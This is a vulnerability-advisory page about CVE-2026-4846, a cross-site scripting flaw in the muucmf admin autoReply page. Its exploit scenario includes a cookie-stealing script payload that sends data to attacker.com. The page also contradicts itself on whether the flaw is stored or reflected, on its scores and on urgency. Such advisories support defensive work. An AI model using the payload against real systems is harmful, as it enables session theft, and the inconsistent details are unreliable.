Which versions of Muucmf are affected by CVE-2026-4846?

Organizations using A vulnerability should be aware of moderate risk from CVE-2026-4846, a cross-site scripting vulnerability rated CVSS 5.3.

Is there a public PoC exploit available for CVE-2026-4846?

Yes, a public proof-of-concept exploit is available for CVE-2026-4846. Prioritise patching immediately. EPSS: 0.0%.

How to fix or mitigate CVE-2026-4846?

Within 30 days: Identify affected systems and apply vendor patches as part of regular patch cycle. Verify Content-Security-Policy and output encoding.

Muucmf CVE-2026-4846

Q: What is the CVSS score of CVE-2026-4846?

CVE-2026-4846 has a CVSS 4.0 base score of 2.1 (Low). CVSS vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X. EPSS exploitation probability: 0.0%.

EUVD-2026-16120 LOW

Cross-site Scripting (XSS) (CWE-79)

2026-03-26 VulDB

XSS Muucmf

2.1

CVSS 4.0 · NVD

Severity by source

NVD PRIMARY

2.1 LOW

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Attack Vector

Network

Attack Complexity

Low

Privileges Required

None

User Interaction

Scope

Lifecycle Timeline

Severity Changed

Apr 29, 2026 - 01:11 NVD

MEDIUM LOW

CVSS changed

Apr 29, 2026 - 01:11 NVD

5.3 (MEDIUM) 2.1 (LOW)

PoC Detected

Mar 30, 2026 - 13:26 vuln.today

Public exploit code

EUVD ID Assigned

Mar 26, 2026 - 06:00 euvd

EUVD-2026-16120

Analysis Generated

Mar 26, 2026 - 06:00 vuln.today

CVE Published

Mar 26, 2026 - 05:31 nvd

MEDIUM 5.3

DescriptionCVE.org

A vulnerability has been found in dameng100 muucmf 1.9.5.20260309. The affected element is an unknown function of the file channel/admin.Account/autoReply.html. Such manipulation of the argument keyword leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

AnalysisAI

A stored cross-site scripting (XSS) vulnerability exists in dameng100 muucmf version 1.9.5.20260309 and potentially earlier versions, affecting the autoReply.html administrative interface in the channel/admin.Account module. An unauthenticated attacker can inject malicious JavaScript through the 'keyword' parameter, which is reflected in the response without proper sanitization, allowing session hijacking, credential theft, or malware distribution to administrative users. …

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Vulnerability AssessmentAI

Risk Assessment	While the CVSS 3.1 base score of 4.3 (Low-to-Medium) reflects limited scope and impact (integrity only, no confidentiality or availability damage from XSS alone), the real-world risk is elevated by several factors. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario	An attacker crafts a malicious URL such as 'https://target.muucmf.local/channel/admin.Account/autoReply.html?keyword=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>' and sends it via spear-phishing email to a known administrator. When the administrator clicks the link and views the autoReply.html page, the unvalidated 'keyword' parameter is reflected into the HTML response, causing the injected JavaScript to execute in the administrator's browser context. …
Remediation	Immediate action is necessary given the lack of vendor response. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 30 days: Identify affected systems and apply vendor patches as part of regular patch cycle. …

Threat intelligence, references, and detailed analysis are available after sign-in.

CVE-2026-4846 vulnerability details – vuln.today

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